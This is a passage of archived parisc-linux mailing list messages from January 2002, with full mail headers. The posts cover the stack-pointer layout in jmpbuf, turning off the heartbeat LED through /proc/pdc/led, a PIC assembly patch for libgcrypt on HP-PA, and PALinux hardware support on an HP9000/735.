Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13598

Hello,

trying to convince an application to compile and run on palinux I have the
following problem:

The application tries to figure out the stackpointer with

(_t)->md.context[0].__jmpbuf[JB_SP]

however bits/setjmp.h defines the jmpbuf as:

typedef double __jmp_buf[21];  

so it returns a double which the compiler doesn't like as pointer. A
couple of questions as I'm a) a lousy programmer and b) couldn't find the
basic information on what the CPU stores how.

Is double used to cover 64 bit support ? Isn't there a better way than to
use a floating point variable ? 

How does the information in the __jmpbuf look like ? I don't think the SP
occupies 64 bit ? Would the lower 32 bit be the SP ? 

Is the SP 32 bit at all ? Or is there any funky alignment or indexing or
whatever going on ? Where can I find that information about the CPU ? 

How do I get the SP from the __jmpbuf ? 

Thanks for bearing with my ignorance,

	Christian 



From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: robert stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX
Date: 07 Jan 2002 00:02:18 +1000
Lines: 10
Approved: news@gmane.org
Message-ID: <1010325738.18364.0.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620924 416 80.91.229.3 (22 Nov 2014 01:48:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:44 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 07:02:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rotapile.ods.org (dg-3-p49.winshop.com.au [210.8.124.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A83C482F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 07:02:02 -0700 (MST)
Original-Received: (from rob@localhost)
	by rotapile.ods.org (8.11.6/8.11.6) id g06E2I418447;
	Mon, 7 Jan 2002 00:02:18 +1000
X-Authentication-Warning: rotapile.ods.org: rob set sender to rob@rotapile.com using -f
X-Mailer: Evolution/1.0
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13599

Anyone got a copy of HP-UX 11 they want to sell or trade or give away?
Unfortunately my 9000K 580 has the PB scsi interface which is not
currently supported in linux :((  

Best Wishes
Robert Stanford





From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LED blinking ;-(
Date: Sun, 6 Jan 2002 17:33:34 +0100 (CET)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0201061720380.727-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620925 419 80.91.229.3 (22 Nov 2014 01:48:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 09:33:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D524F4833
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 09:33:35 -0700 (MST)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id g06GXYI40721
	for <parisc-linux@lists.parisc-linux.org>; Sun, 6 Jan 2002 17:33:34 +0100 (CET)
X-Sender: <bz@noc.zabbadoz.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13600

Hi,

had my apollo 715 updated this weekend and perhaps because the machine
stood somewhere else I never had noticed that the LED 4 (OS running) has
been blinking.

Well I have no idea who is responsible for this the OS or the
machine(firmware) but ...

... can one change this to a constant on ? - or at least not blinking
that frequent or in a radom intervall ?

I feel it very maddening the way it is at the monent ;-(

TIA

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/




From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LED blinking ;-(
Date: Sun, 6 Jan 2002 17:55:08 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <200201061755.08978.deller@gmx.de>
References: <Pine.BSF.4.30.0201061720380.727-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620925 422 80.91.229.3 (22 Nov 2014 01:48:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:45 +0000 (UTC)
To: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 09:56:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7509E4837
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 09:56:50 -0700 (MST)
Original-Received: (qmail 27027 invoked by uid 0); 6 Jan 2002 16:56:48 -0000
Original-Received: from pd904035c.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.92)
  by mail.gmx.net (mp013-rz3) with SMTP; 6 Jan 2002 16:56:48 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <Pine.BSF.4.30.0201061720380.727-100000@noc.zabbadoz.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13601

On Sunday 06 January 2002 17:33, Bjoern A. Zeeb wrote:
> Hi,

Hi Bjoern,

> had my apollo 715 updated this weekend and perhaps because the machine
> stood somewhere else I never had noticed that the LED 4 (OS running) has
> been blinking.
> Well I have no idea who is responsible for this the OS or the
> machine(firmware) but ...

AFAIK, I am.

> ... can one change this to a constant on ? - or at least not blinking
> that frequent or in a radom intervall ?

I assume you talk about the "Heartbeat LED" with which we blink in the
same frequency as a heart. That's also the behaviour under HP/UX.

You may see the actual values with:
pa64:~# cat /proc/pdc/led
Heartbeat: 1
Disk IO: 1
LAN Rx/Tx: 1

and change it with one of the following commands:
pa64:~# echo "0 1 1" > /proc/pdc/led
turns off only the heartbeat LED,
pa64:~# echo "0 0 0" > /proc/pdc/led
turns off all LEDs.

Helge




From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PIC assembly
Date: Sun, 6 Jan 2002 09:26:19 -0800
Lines: 141
Approved: news@gmane.org
Message-ID: <20020106172619.GD14884@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="lCAWRPmW1mITcIfM"
X-Trace: ger.gmane.org 1416620925 425 80.91.229.3 (22 Nov 2014 01:48:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 10:26:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E8FF4835
	for <parisc-linux@parisc-linux.org>; Sun,  6 Jan 2002 10:26:34 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id znvdkaaa for parisc-linux@parisc-linux.org; Sun, 6 Jan 2002 10:20:49 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16NH3r-000404-00; Sun, 06 Jan 2002 09:26:19 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
X-VSMLoop: pangeatech.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13602

--lCAWRPmW1mITcIfM
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

There is bug in the libgcrypt package in Debian where one of the
assembly routines was not written for PIC linking. The bug is:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=127863&repeatmerged=yes

I'ved filed a possible patch for this in the bug report, but I'm not
100% convinced I understand this correctly. Can someone please take a
look and let me know? 

the original .S file and the patch are also attached

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^

--lCAWRPmW1mITcIfM
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="udiv-qrnnd.S"

/* HP-PA  __udiv_qrnnd division support, used from longlong.h.
 *	  This version runs fast on PA 7000 and later.
 *
 *      Copyright (C) 1993, 1994, 1998, 
 *                    2001 Free Software Foundation, Inc.
 *
 * This file is part of GnuPG.
 *
 * GnuPG is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * GnuPG is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
 *
 * Note: This code is heavily based on the GNU MP Library.
 *	 Actually it's the same code with only minor changes in the
 *	 way the data is stored; this is to support the abstraction
 *	 of an optional secure memory allocation which may be used
 *	 to avoid revealing of sensitive data due to paging etc.
 *	 The GNU MP Library itself is published under the LGPL;
 *	 however I decided to publish this code under the plain GPL.
 */



/* INPUT PARAMETERS
 *   rem_ptr	   gr26
 *   n1 	   gr25
 *   n0 	   gr24
 *   d		   gr23
 */

	.code
	.label L$0000
	.word		0x43f00000
	.word		0x0
	.export 	__udiv_qrnnd
	.label		__udiv_qrnnd
	.proc
	.callinfo	frame=64,no_calls
	.entry
	ldo		64(%r30),%r30

	stws		%r25,-16(0,%r30)	; n_hi
	stws		%r24,-12(0,%r30)	; n_lo
	ldil		L'L$0000,%r19           ; '
	ldo		R'L$0000(%r19),%r19     ; '
	fldds		-16(0,%r30),%fr5
	stws		%r23,-12(0,%r30)
	comib,<=	0,%r25,L$1
	fcnvxf,dbl,dbl	%fr5,%fr5
	fldds		0(0,%r19),%fr4
	fadd,dbl	%fr4,%fr5,%fr5
	.label	L$1
	fcpy,sgl	%fr0,%fr6L
	fldws		-12(0,%r30),%fr6R
	fcnvxf,dbl,dbl	%fr6,%fr4

	fdiv,dbl	%fr5,%fr4,%fr5

	fcnvfx,dbl,dbl	%fr5,%fr4
	fstws		%fr4R,-16(%r30)
	xmpyu		%fr4R,%fr6R,%fr6
	ldws		-16(%r30),%r28
	fstds		%fr6,-16(0,%r30)
	ldws		-12(0,%r30),%r21
	ldws		-16(0,%r30),%r20
	sub		%r24,%r21,%r22
	subb		%r25,%r20,%r19
	comib,= 	0,%r19,L$2
	ldo		-64(%r30),%r30

	add		%r22,%r23,%r22
	ldo		-1(%r28),%r28
	.label	L$2
	bv		0(%r2)
	stws		%r22,0(0,%r26)

	.exit
	.procend



--lCAWRPmW1mITcIfM
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="udiv-qrnnd.diff"

--- udiv-qrnnd.S.orig	Thu May 31 03:14:12 2001
+++ udiv-qrnnd.S	Sat Jan  5 23:27:02 2002
@@ -51,8 +51,11 @@
 
 	stws		%r25,-16(0,%r30)	; n_hi
 	stws		%r24,-12(0,%r30)	; n_lo
-	ldil		L'L$0000,%r19           ; '
-	ldo		R'L$0000(%r19),%r19     ; '
+
+	stw             %r19,-32(%r30)
+	addil		LT%L$0000,%r19
+	ldw		RT%L$0000(%r1),%r1
+	ldw		0(%r1), %r19
 	fldds		-16(0,%r30),%fr5
 	stws		%r23,-12(0,%r30)
 	comib,<=	0,%r25,L$1

--lCAWRPmW1mITcIfM--



From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Cronenberg <sven.cronenberg@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALinux on HP9000/735-125
Date: Sun, 06 Jan 2002 18:42:26 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <3C388C82.6070509@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620925 428 80.91.229.3 (22 Nov 2014 01:48:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 10:40:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp01.web.de [194.45.170.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA11F483C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 10:40:57 -0700 (MST)
Original-Received: from pd9eb1c78.dip.t-dialin.net ([217.235.28.120] helo=web.de)
	by smtp.web.de with asmtp (Exim 4.00 #56)
	id 16NHHv-0001l2-00
	for parisc-linux@lists.parisc-linux.org; Sun, 06 Jan 2002 18:40:51 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: de-DE
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13603

I installed PALinux 0.93 on my HP9000/735 running hat 125Mhz. I use
a SCSI Disk connected to the narrow SCSI canel and the CRX48z
graphics system.

Im using kernel version 2.14.16-pa24 and updated the debian packages like
mentioned in the 0.9.3. errata section today.

Some questions:
- I tried execessing the framebufferdevice. 'fbset' report '/dev/fb0: no 
such device'
  though the STI console works fine as a text-console. Whats the reasion 
for that error?
  Can I currently use the framebuffer device on the HP9000/735?
- has someone been able to make the 100mbit EISA-ethernet-card 3c597 work
  in the HP9000/735 under Linux?
- can I enable a german keymap for the HIL keyboard (trying to do this 
during the
  installation made the keyboard totaly unusable so I had to reboot )?
- is the HIL mouse still unsupported or is there a patch or so to make 
it work?


But inspite of all these problems:
Nice work. It's great to see my PARISC Box running a free operating 
system instead
the obsolute HPUX 10.20.


Sven




From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LED blinking ;-(
Date: Sun, 6 Jan 2002 18:43:53 +0100 (CET)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0201061828520.727-100000@noc.zabbadoz.net>
References: <200201061755.08978.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620926 431 80.91.229.3 (22 Nov 2014 01:48:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:46 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 10:43:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 873254840
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 10:43:55 -0700 (MST)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id g06Hhr242615;
	Sun, 6 Jan 2002 18:43:53 +0100 (CET)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <200201061755.08978.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13604

On Sun, 6 Jan 2002, Helge Deller wrote:

> On Sunday 06 January 2002 17:33, Bjoern A. Zeeb wrote:
>
> > ... can one change this to a constant on ? - or at least not blinking
> > that frequent or in a radom intervall ?
>
> I assume you talk about the "Heartbeat LED" with which we blink in the
> same frequency as a heart. That's also the behaviour under HP/UX.

don't know. only seen a hp/ux once on that machine ;-)

> and change it with one of the following commands:
> pa64:~# echo "0 1 1" > /proc/pdc/led
> turns off only the heartbeat LED,

Ahh :-)) It's on now. No more blinking.
Much better like this and the machine can live where it is :-)

Thanks a lot.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALinux on HP9000/735-125
Date: Sun, 6 Jan 2002 19:18:29 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <200201061918.29886.deller@gmx.de>
References: <3C388C82.6070509@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620926 434 80.91.229.3 (22 Nov 2014 01:48:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:46 +0000 (UTC)
To: Sven Cronenberg <sven.cronenberg@web.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 11:20:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 6BA09483A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 11:20:28 -0700 (MST)
Original-Received: (qmail 13505 invoked by uid 0); 6 Jan 2002 18:20:23 -0000
Original-Received: from pd9040213.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.19)
  by mail.gmx.net (mp020-rz3) with SMTP; 6 Jan 2002 18:20:23 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <3C388C82.6070509@web.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13605

Hi Sven,

On Sunday 06 January 2002 18:42, Sven Cronenberg wrote:
> I installed PALinux 0.93 on my HP9000/735 running hat 125Mhz. I use
> a SCSI Disk connected to the narrow SCSI canel and the CRX48z
> graphics system.
>
> Im using kernel version 2.14.16-pa24 and updated the debian packages like
> mentioned in the 0.9.3. errata section today.
>
> Some questions:
> - I tried execessing the framebufferdevice. 'fbset' report '/dev/fb0: no
> such device'
>   though the STI console works fine as a text-console. Whats the reasion
> for that error?
>   Can I currently use the framebuffer device on the HP9000/735?

Try a newer kernel. It might work starting with kernel 2.4.17-pa2 and above.

> - has someone been able to make the 100mbit EISA-ethernet-card 3c597 work
>   in the HP9000/735 under Linux?

Sorry, no idea.

> - can I enable a german keymap for the HIL keyboard (trying to do this
> during the
>   installation made the keyboard totaly unusable so I had to reboot )?

You might want to write a script with setkeycodes.
Search the archives, I think I once sent such a script.

> - is the HIL mouse still unsupported or is there a patch or so to make
> it work?

Still unsupported.

Helge



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Cronbenberg <sven.cronenberg@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Use the X-Server from HPUX und PALinux?
Date: Sun, 06 Jan 2002 19:54:01 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <3C389D49.7030301@gmx.de>
References: <3C388C82.6070509@web.de> <200201061918.29886.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620926 437 80.91.229.3 (22 Nov 2014 01:48:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 11:52:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 3A5094842
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 11:52:27 -0700 (MST)
Original-Received: (qmail 31995 invoked by uid 0); 6 Jan 2002 18:52:24 -0000
Original-Received: from pd9eb1c78.dip.t-dialin.net (HELO gmx.de) (217.235.28.120)
  by mail.gmx.net (mp008-rz3) with SMTP; 6 Jan 2002 18:52:24 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: de-DE
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
